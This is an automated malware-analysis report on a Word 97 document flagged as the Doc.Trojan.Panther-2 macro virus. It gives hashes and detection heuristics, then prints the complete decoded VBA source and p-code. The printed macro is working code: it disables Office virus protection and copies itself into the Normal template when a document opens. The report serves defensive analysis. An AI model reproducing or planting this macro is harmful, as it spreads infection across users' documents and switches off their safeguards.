Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5ae746a815a511d2…

MALICIOUS

Office (OLE)

33.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2015-10-13
MD5: e7fe86c8aa0d30cfbbff13b64c534780 SHA-1: 2bd2726a1d0090db960e41df6e9cc152ac6cfea5 SHA-256: 5ae746a815a511d2846a1f5d7bc0bd8818fc98a2622d987c2044afa0dc4d38ea
208 Risk Score

Heuristics 4

  • ClamAV: Doc.Trojan.Panther-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Panther-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4964 bytes
SHA-256: 9869ac43a4148b24a9782c53cb157225bc5442dfc4f3194fe32a7bc6930e4946
Detection
ClamAV: Doc.Trojan.Panther-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

End Sub

Private Sub Document_New()

End Sub

Private Sub Document_Open()
    Dim code As String
    If Left$(NormalTemplate.Name, 8) <> "Document" Then
        Options.VirusProtection = False
        With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
            code = .Lines(1, .CountOfLines)
            ReplaceTemplate code, "Normal", "Template", "Happy", "Panther"
            ReplaceTemplate code, "Active", "Document", "Normal", "Template"
            ReplaceTemplate code, "Happy", "Panther", "Active", "Document"
            With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
                .DeleteLines 1, .CountOfLines
                .AddFromString code
            End With
        End With
        Options.SaveNormalPrompt = False
        If InStr("NormalTemplate", "Document") > 0 Then
                        NormalTemplate.Save
        End If
    End If
End Sub
Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String)
    Dim index As Long, pre As String, post As String, preLen As Long
    
    pre = prepre + prepost
    post = postpre + postpost
    
    index = 1
    preLen = Len(pre)
    
    While InStr(index, target, pre) <> 0
        index = InStr(index, target, pre)
        target = Left(target, index - 1) + post + Mid$(target, index + preLen)
        index = index + 1
    Wend
End Sub

' Processing file: /opt/analyzer/scan_staging/e43e0e45876d4b38b221b196fe0c5ce6.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3321 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' Line #2:
' 	EndSub 
' Line #3:
' Line #4:
' 	FuncDefn (Private Sub Document_New())
' Line #5:
' Line #6:
' 	EndSub 
' Line #7:
' Line #8:
' 	FuncDefn (Private Sub Document_Open())
' Line #9:
' 	Dim 
' 	VarDefn code (As String)
' Line #10:
' 	Ld NormalTemplate 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound$ 0x0002 
' 	LitStr 0x0008 "Document"
' 	Ne 
' 	IfBlock 
' Line #11:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #12:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #13:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemLdWith Lines 0x0002 
' 	St code 
' Line #14:
' 	Ld code 
' 	LitStr 0x0006 "Normal"
' 	LitStr 0x0008 "Template"
' 	LitStr 0x0005 "Happy"
' 	LitStr 0x0007 "Panther"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #15:
' 	Ld code 
' 	LitStr 0x0006 "Active"
' 	LitStr 0x0008 "Document"
' 	LitStr 0x0006 "Normal"
' 	LitStr 0x0008 "Template"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #16:
' 	Ld code 
' 	LitStr 0x0005 "Happy"
' 	LitStr 0x0007 "Panther"
' 	LitStr 0x0006 "Active"
' 	LitStr 0x0008 "Document"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #17:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #18:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemCallWith DeleteLines 0x0002 
' Line #19:
' 	Ld code 
' 	ArgsMemCallWith AddFromString 0x0001 
' Line #20:
' 	EndWith 
' Line #21:
' 	EndWith 
' Line #22:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #23:
' 	LitStr 0x000E "NormalTemplate"
' 	LitStr 0x0008 "Document"
' 	FnInStr 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #24:
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' Line #25:
' 	EndIfBlock 
' Line #26:
' 	EndIfBlock 
' Line #27:
' 	EndSub 
' Line #28:
' 	FuncDefn (Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String))
' Line #29:
' 	Dim 
' 	VarDefn index (As Long)
' 	VarDefn pre (As String)
' 	VarDefn post (As String)
' 	VarDefn preLen (As Long)
' Line #30:
' Line #31:
' 	Ld prepre 
' 	Ld prepost 
' 	Add 
' 	St pre 
' Line #32:
' 	Ld postpre 
' 	Ld postpost 
' 	Add 
' 	St post 
' Line #33:
' Line #34:
' 	LitDI2 0x0001 
' 	St index 
' Line #35:
' 	Ld pre 
' 	FnLen 
' 	St preLen 
' Line #36:
' Line #37:
' 	Ld index 
' 	Ld target 
' 	Ld pre 
' 	FnInStr3 
' 	LitDI2 0x0000 
' 	Ne 
' 	While 
' Line #38:
' 	Ld index 
' 	Ld target 
' 	Ld pre 
' 	FnInStr3 
' 	St index 
' Line #39:
' 	Ld target 
' 	Ld index 
' 	LitDI2 0x0001 
' 	Sub 
' 	ArgsLd LBound 0x0002 
' 	Ld post 
' 	Add 
' 	Ld target 
' 	Ld index 
' 	Ld preLen 
' 	Add 
' 	ArgsLd Mid$$ 0x0002 
' 	Add 
' 	St target 
' Line #40:
' 	Ld index 
' 	LitDI2 0x0001 
' 	Add 
' 	St index 
' Line #41:
' 	Wend 
' Line #42:
' 	EndSub